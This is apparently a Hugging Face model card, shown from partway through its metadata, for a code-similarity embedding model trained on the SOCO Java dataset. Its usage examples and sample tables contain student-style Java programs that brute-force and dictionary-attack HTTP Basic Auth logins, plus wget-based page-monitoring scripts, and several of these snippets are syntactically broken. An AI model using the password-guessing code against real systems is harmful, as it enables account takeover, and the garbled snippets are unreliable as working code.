\ }\n catch(Exception e)\n {\n }\n\n inTextFile\
\ = null;\n reader = null;\n\n }\n\n } \n\n\n\n\n\n\n static\
\ void populateTheDifferentLengthArrays(String TextFileName)\n \n {\n\n \
\ FileReader reader;\n BufferedReader inTextFile = null;\n\n String\
\ strLine;\n int intWordLength;\n\n int intCountOfOneLetterWords =\
\ -1;\n int intCountOfTwoLetterWords = -1;\n int intCountOfThreeLetterWords\
\ = -1;\n\n\n\n try\n { \n \n \n \n \
\ \n \n reader = new FileReader(TextFileName);\n\n \
\ \n \n \n \n inTextFile = new\
\ BufferedReader(reader);\n\n\n strLine = inTextFile.readLine();\n\n\n\
\ while (strLine != null)\n {\n\n strLine = strLine.trim();\n\
\ intWordLength = strLine.length();\n\n\n \n \
\ \n if (intWordLength == 1)\n {\n intCountOfOneLetterWords++;\n\
\ strOneLetterWords[intCountOfOneLetterWords] = strLine;\n \
\ }\n\n \n \n else if (intWordLength\
\ == 2) \n {\n\n intCountOfTwoLetterWords++;\n \
\ strTwoLetterWords[intCountOfTwoLetterWords] = strLine;\n \
\ }\n\n \n \n else if (intWordLength ==\
\ 3)\n {\n intCountOfThreeLetterWords++;\n \
\ strThreeLetterWords[intCountOfThreeLetterWords] = strLine;\n \
\ }\n\n strLine = inTextFile.readLine();\n\n }\n\n }\n\
\n catch(FileNotFoundException e)\n {\n\n \n \n\
\ System.out.println();\n System.out.println(\"The file '\" +\
\ TextFileName + \"' cannot found.\");\n System.out.println();\n\n \
\ }\n\n catch(Exception e)\n {\n System.out.println(\"Exception\
\ thrown....\");\n System.err.println(e);\n }\n\n finally\n\
\ {\n\n try\n {\n inTextFile.print();\n \
\ }\n catch(Exception e)\n {\n }\n\n inTextFile\
\ = null;\n reader = null;\n\n }\n\n }\n\n\n\n\n\n\n\n static\
\ boolean passwordWasFound(String urlString,\n \
\ String password,\n boolean retVal)\n \
\ \n {\n\n String strEncodeInput = username + \":\" + password;\n \
\ boolean returnValue = retVal;\n boolean boolExceptionThrown = false;\n\n\
\n\n try\n {\n\n strLastPasswordTested = password;\n \n \
\ intNumberOfConnectionAttempts++;\n\n url = new URL(urlString);\n\
\n String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());\n\
\n\n System.out.print(\"username = \" + \n username\
\ + \n \" \" +\n \
\ \"password = \" +\n password);\n\n\n\n HttpURLConnection\
\ urlConnection = (HttpURLConnection)url.openConnection();\n\n urlConnection.setRequestProperty(\"\
Authorization\", \n \" \" + encoding);\
\ \n\n System.out.println(\" response = \" + urlConnection.getResponseCode());\n\
\n if (urlConnection.getResponseCode() == 401)\n {\n \
\ returnValue = false; \n }\n\n }\n\n catch (MalformedURLException\
\ m)\n {\n boolExceptionThrown = true;\n returnValue = false;\n\
\n System.err.println(m);\n System.out.println(\"Malformed URL\
\ Exception error\");\n }\n\n catch (IOException io)\n {\n \
\ boolExceptionThrown = true;\n returnValue = false;\n\n System.out.println(\"\
IOException error\");\n System.err.println(io); \n }\n\n catch\
\ (Exception e)\n {\n boolExceptionThrown = true;\n returnValue\
\ = false;\n\n System.out.println(\"General exception.....\");\n \
\ System.err.println(e); \n }\n\n finally\n { \n urlConnection\
\ = null;\n url = null; \n }\n\n\n if (boolExceptionThrown)\n\
\ {\n intExceptionCount++;\n strExceptionPassword[intExceptionCount]\
\ = password;\n }\n\n\n return returnValue;\n\n }\n\n}"
- "import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\n\
public class WatchDog {\n\n public WatchDog() {\n\n }\n public static void\
\ main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println(\"\
ishti\");\n\n System.out.println(\"Downloading first copy\");\n Runtime.getRuntime().exec(\"\
wget http://www.cs.rmit.edu./students/ -O oldfile.html\");\n String[] cmdDiff\
\ = {\"//sh\", \"-c\", \"diff oldfile.html newfile.html > Diff.txt\"};\n \
\ String[] cmdMail = {\"//sh\", \"-c\", \"mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\
\" < Diff.txt\"};\n while(true){\n Thread.sleep(24*60*60*1000);\n\
\ System.out.println(\"Downloading new copy\");\n Runtime.getRuntime().exec(\"\
wget http://www.cs.rmit.edu./students/ -O newfile.html\");\n Thread.sleep(2000);\n\
\ Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n\
\ newin = new DataInputStream( new FileInputStream( \"Diff.txt\"));\n\
\ if (newin.readLine() != null){\n System.out.println(\"\
Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n \
\ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\n \
\ }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\
\ }\n\n }\n\n}"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---
# SentenceTransformer based on microsoft/unixcoder-base-unimodal
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
## Model Details
### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
- [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->
### Model Sources
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)
### Full Model Architecture
```
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```
## Usage
### Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
```bash
pip install -U sentence-transformers
```
Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-MNLR-Triplets-e10")
# Run inference
sentences = [
'import java.net.*;\nimport java.io.*;\n\npublic class BruteForce {\n private String strUserName;\n private String strURL;\n private int iAttempts;\n \n public BruteForce(String strURL,String strUserName) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n\n }\n \n public String getPassword(){\n URL u;\n String result ="";\n PassGenBrute PG = new PassGenBrute(3);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main (String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 2) {\n BruteForce BF = new BruteForce(arg[0],arg[1]);\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n \n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce <URL> <USERNAME>");\n\n }\n\n }\n}\n\nclass PassGenBrute {\n private char[] password;\n public PassGenBrute(int lenght) {\n password = new char[lenght];\n for (int i = 0; i < lenght; i++){\n password[i] = 65;\n }\n password[0]--;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n password[0]++;\n\n try {\n for (int i=0; i<password.length ; i++){\n if (password[i] == 90) {\n password[i] = 97;\n }\n if (password[i] > 122) {\n password[i] = 65;\n password[i+1]++;\n }\n }\n }\n catch (RuntimeException re){\n throw new PasswordFailureException ();\n }\n return new String(password);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}',
'import java.net.*;\nimport java.io.*;\n\n\npublic class Dictionary {\n private String strUserName;\n private String strURL;\n private String strDictPath;\n private int iAttempts;\n\n \n public Dictionary(String strURL,String strUserName,String strDictPath) {\n this.strURL = strURL;\n this.strUserName = strUserName;\n this.iAttempts = 0 ;\n this.strDictPath = strDictPath;\n }\n \n\n public String getPassword(){\n URL u;\n String result ="";\n PassGenDict PG = new PassGenDict(3,strDictPath);\n URLConnection uc;\n String strPassword = new String();\n String strEncode;\n try{\n while (result.compareTo("HTTP/1.1 200 OK")!=0){\n \n strEncode = PG.getNewPassword();\n u = new URL(strURL);\n uc = u.openConnection();\n uc.setDoInput(true);\n uc.setDoOutput(true);\n strPassword = strEncode;\n strEncode = strUserName + ":" + strEncode;\n \n strEncode = new String(Base64.encode(strEncode.getBytes()));\n uc.setRequestProperty("Authorization"," " + strEncode);\n \n result = uc.getHeaderField(0);\n uc = null;\n u = null;\n iAttempts++;\n }\n\n }\n catch (Exception me) {\n System.out.println("MalformedURLException: "+me);\n }\n return(strPassword);\n }\n \n public int getAttempts(){\n return (iAttempts);\n };\n \n public static void main(String arg[]){\n timeStart = 0;\n timeEnd = 0;\n \n if (arg.length == 3) {\n Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]);\n\n System.out.println("Processing ... ");\n timeStart = System.currentTimeMillis();\n System.out.println("Password = " + BF.getPassword());\n timeEnd = System.currentTimeMillis();\n System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)");\n System.out.println("Total Attempts = " + BF.getAttempts());\n }\n else {\n System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>");\n\n }\n\n }\n}\n\n\nclass PassGenDict {\n\n private char[] password;\n private String line;\n int iPassLenght;\n private BufferedReader inputFile;\n public PassGenDict(int lenght, String strDictPath) {\n try{\n inputFile = new BufferedReader(new FileReader(strDictPath));\n }\n catch (Exception e){\n }\n iPassLenght = lenght;\n }\n \n public String getNewPassword()\n throws PasswordFailureException{\n try {\n {\n line = inputFile.readLine();\n }while (line.length() != iPassLenght);\n\n }\n catch (Exception e){\n throw new PasswordFailureException ();\n }\n return (line);\n }\n}\n\nclass PasswordFailureException extends RuntimeException {\n\n public PasswordFailureException() {\n }\n}',
'import java.util.*;\nimport java.io.*;\nimport javax.swing.text.html.*;\n\n\npublic class WatchDog {\n\n public WatchDog() {\n\n }\n public static void main (String args[]) {\n DataInputStream newin;\n\n try{\n System.out.println("ishti");\n\n System.out.println("Downloading first copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");\n String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};\n String[] cmdMail = {"//sh", "-c", "mailx -s \\"Diffrence\\" \\"@cs.rmit.edu.\\" < Diff.txt"};\n while(true){\n Thread.sleep(24*60*60*1000);\n System.out.println("Downloading new copy");\n Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n Thread.sleep(2000);\n newin = new DataInputStream( new FileInputStream( "Diff.txt"));\n if (newin.readLine() != null){\n System.out.println("Sending Mail");\n Runtime.getRuntime().exec(cmdMail);\n Runtime.getRuntime().exec("cp newfile.html oldfile.html");\n\n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n }\n\n }\n\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
```
<!--
### Direct Usage (Transformers)
<details><summary>Click to see the direct usage in Transformers</summary>
</details>
-->
<!--
### Downstream Usage (Sentence Transformers)
You can finetune this model on your own dataset.
<details><summary>Click to expand</summary>
</details>
-->
<!--
### Out-of-Scope Use
*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->
<!--
## Bias, Risks and Limitations
*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->
<!--
### Recommendations
*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->
## Training Details
### Training Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 38,664 training samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 466.79 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.59 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 455.04 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class Dictionary<br>{<br> public Dictionary()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter sw= new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in =<br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine())...</code> | <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.misc.BASE64Encoder;<br><br>public class BruteForce<br>{<br> public BruteForce()<br> {}<br><br> public boolean fetchURL(String urlString,String username,String password)<br> {<br> StringWriter = new StringWriter();<br> PrintWriter pw = new PrintWriter();<br> try{<br> URL url=new URL(urlString); <br> String userPwd= username+":"+password;<br><br> <br> <br> <br> <br><br> BASE64Encoder encoder = new BASE64Encoder();<br> String encodedStr = encoder.encode (userPwd.getBytes());<br> System.out.println("Original String = " + userPwd);<br> System.out.println("Encoded String = " + encodedStr);<br><br> HttpURLConnection huc=(HttpURLConnection) url.openConnection(); <br> huc.setRequestProperty( "Authorization"," "+encodedStr); <br> InputStream content = (InputStream)huc.getInputStream();<br> BufferedReader in = <br> new BufferedReader (new InputStreamReader (content));<br> String line;<br> while ((line = in.readLine()) ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class Dictionary{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private static BufferedReader dictionary;<br> private int maxLetters = 3;<br><br> <br><br> public Dictionary() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e) ...</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br>public class WatchdogPropertyHelper {<br><br> private static Properties testProps;<br><br><br><br> public WatchdogPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br><br><br><br><br><br><br><br>import java.io.*;<br>import java.net.*;<br>import javax.swing.Timer;<br>import java.awt.event.*;<br>import javax.swing.JOptionPane;<br><br>public class WatchDog <br>{<br> private static Process pro = null;<br> private static Runtime run = Runtime.getRuntime();<br> <br> public static void main(String[] args) <br> {<br> String cmd = null;<br> try<br> {<br> cmd = new String("wget -O original.txt http://www.cs.rmit.edu./students/");<br><br> pro = run.exec(cmd);<br> System.out.println(cmd);<br> }<br> catch (IOException e)<br> {<br> }<br> <br> class Watch implements ActionListener<br> {<br> BufferedReader in = null;<br> String str = null;<br> Socket socket;<br> public void actionPerformed (ActionEvent event)<br> {<br> <br> try<br> {<br> System.out.println("in Watch!");<br> String cmd = new String();<br> int ERROR = 1;<br> cmd = new String("wget -O new.txt http://www.cs.rmit.edu./students/");<br><br><br> System.out.println(cmd);<br> cmd = new String("diff original.txt new.txt");<br> pro = run.exec(cmd);<br> System.out.println(cmd);<br> in = new Buf...</code> |
| <code><br>import java.net.*; <br>import java.io.*; <br>public class BruteForce {<br>private static String password=" "; <br><br> <br> public static void main(String[] args) {<br> String Result=""; <br> if (args.length<1)<br> {<br> System.out.println("Error: Correct Format Filename, username e.g<>"); <br> System.exit(1); <br> }<br> BruteForce bruteForce1 = new BruteForce();<br> Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); <br> System.out.println("The Password of "+args[0]+"is.."+Result); <br> <br> }<br><br><br><br> private String Password(String urlString,String username) <br> { <br> int cnt=0;<br> <br> t0 = System.currentTimeMillis(); <br> for ( char ch = 'A'; ch <= 'z'; ch++ )<br> { <br> if (ch>'Z' && ch<'a')<br> { <br> ch='a'; <br> } <br> <br> for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )<br> { <br> <br> if (ch1>'Z' && ch1<'a')<br> { <br> ch1='a'; <br> }<br><br><br> for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )<br> { <br> if (ch2>'Z' && ch2<'a')<br> { <br> ...</code> | <code><br><br>import java.net.*; <br>import java.io.*; <br>import java.util.Date; <br>public class Dictionary{<br>private static String password=" "; <br><br> <br> public static void main(String[] args) {<br> String Result=""; <br> if (args.length<1)<br> {<br> System.out.println("Correct Format Filename username e.g<>"); <br> System.exit(1); <br> }<br> <br> Dictionary dicton1 = new Dictionary();<br> Result=dicton1.Dict("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); <br> System.out.println("Cracked Password for The User "+args[0]+" The Password is.."+Result); <br> <br><br> <br> <br> }<br><br><br><br> private String Dict(String urlString,String username) <br> { <br> int cnt=0;<br> FileInputStream stream=null;<br> DataInputStream word=null;<br><br> try{ <br> stream = new FileInputStream ("/usr/share/lib/dict/words"); <br><br> word =new DataInputStream(stream);<br> t0 = System.currentTimeMillis(); <br> while (word.available() !=0) <br> {<br> <br> password=word.readLine();<br> if (password.length()!=3)<br> {<br> continue;<br> }<br> System.out.print("...</code> | <code><br>package java.httputils;<br><br>import java.io.IOException;<br>import java.net.MalformedURLException;<br>import java.util.ArrayList;<br>import java.util.Iterator;<br><br><br>public class RunnableHttpRequest extends Thread<br>{<br> protected String targetURL = "http://localhost:8080/";<br> protected int requestCount = 1;<br> protected ArrayList timingList = new ArrayList();<br> protected HttpRequestClient req;<br> Boolean finished = new Boolean(false);<br> HttpRequestThreadPool pool;<br><br> <br> public void run()<br> {<br> try<br> {<br> for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++)<br> {<br> try<br> {<br> req =<br> new HttpRequestClient(getTargetURL());<br><br> <br> }<br> catch (MalformedURLException e)<br> {<br> e.printStackTrace();<br> break;<br> }<br> catch (IOException e)<br> {<br> ...</code> |
* Loss: [<code>MultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#multiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim"
}
```
### Evaluation Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 4,296 evaluation samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 465.86 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 465.32 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.73 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code><br><br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class WatchDog<br>{ <br><br> public static void main(String args[])<br> {<br><br> Runtime rt1 = Runtime.getRuntime();<br> Process prss1= null;<br><br> try<br> {<br> prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");<br> }catch(java.io.IOException e){}<br><br> MyWatchDogTimer w = new MyWatchDogTimer();<br> Timer time = new Timer();<br> time.schedule(w,864000000,864000000);<br><br> <br> }<br>}<br></code> | <code> <br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code>import java.net.*; <br>import java.io.*; <br>import java.util.Vector;<br>import java.util.Date;<br>import java.security.*;<br><br><br><br><br><br><br><br><br><br><br><br> <br>public class Dictionary { <br> public static BufferedReader in;<br> <br> <br> public static void main(String[] args) throws Exception { <br> String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; <br> int count=0;<br> Date date = new Date();<br> startTime=date.getTime();<br> int LIMITINMINUTES=45;<br> int TIMELIMIT=LIMITINMINUTES*1000*60;<br> boolean timedOut=false;<br> boolean found=false;<br> <br> <br> Vector dictionary=new Vector(readWords());<br> System.out.println("Words in dictionary: "+dictionary.size());<br> <br> <br> <br> <br> <br> <br> <br> while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {<br> <br> Date endDate = new Date();<br> endTime=endDate.getTime(); <br> if (endTime>(TIMELIMIT+startTime)){<br> System.out.println("Timed out");<br> timedOut=true;<br> }<br> <br> String password = "";<br><br> ...</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br><br>public class MailsendPropertyHelper {<br><br> private static Properties testProps;<br><br> public MailsendPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br><br><br><br><br><br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.Ostermiller.util.*;<br>import java.util.*;<br><br>public class MyClient2 implements Runnable<br>{<br> private String hostname;<br> private int port;<br> private String filename;<br> private Socket s;<br> private int n;<br> private InputStream sin;<br> private OutputStream sout;<br> private int dif;<br> private String myPassword;<br> private int status;<br> private int myTime;<br> private BruteForce myMaster;<br> <br><br> public MyClient2(BruteForce bf , int num, int myPort, String password)<br> {<br> <br> hostname = new String("sec-crack.cs.rmit.edu.");<br> port = myPort;<br> status = 0;<br> myTime = 0;<br> myPassword = password;<br> filename = new String("/SEC/2/");<br> myMaster = 0;<br> n = num;<br> dif = 0;<br> <br> }<br> public getDif()<br> {<br> return dif;<br> }<br> public int getStatus()<br> {<br> return status;<br> }<br> public void run() <br> {<br> String inputLine;<br> String[] tokens = new String[5];<br> int i;<br> myTime = 0;<br> ...</code> |
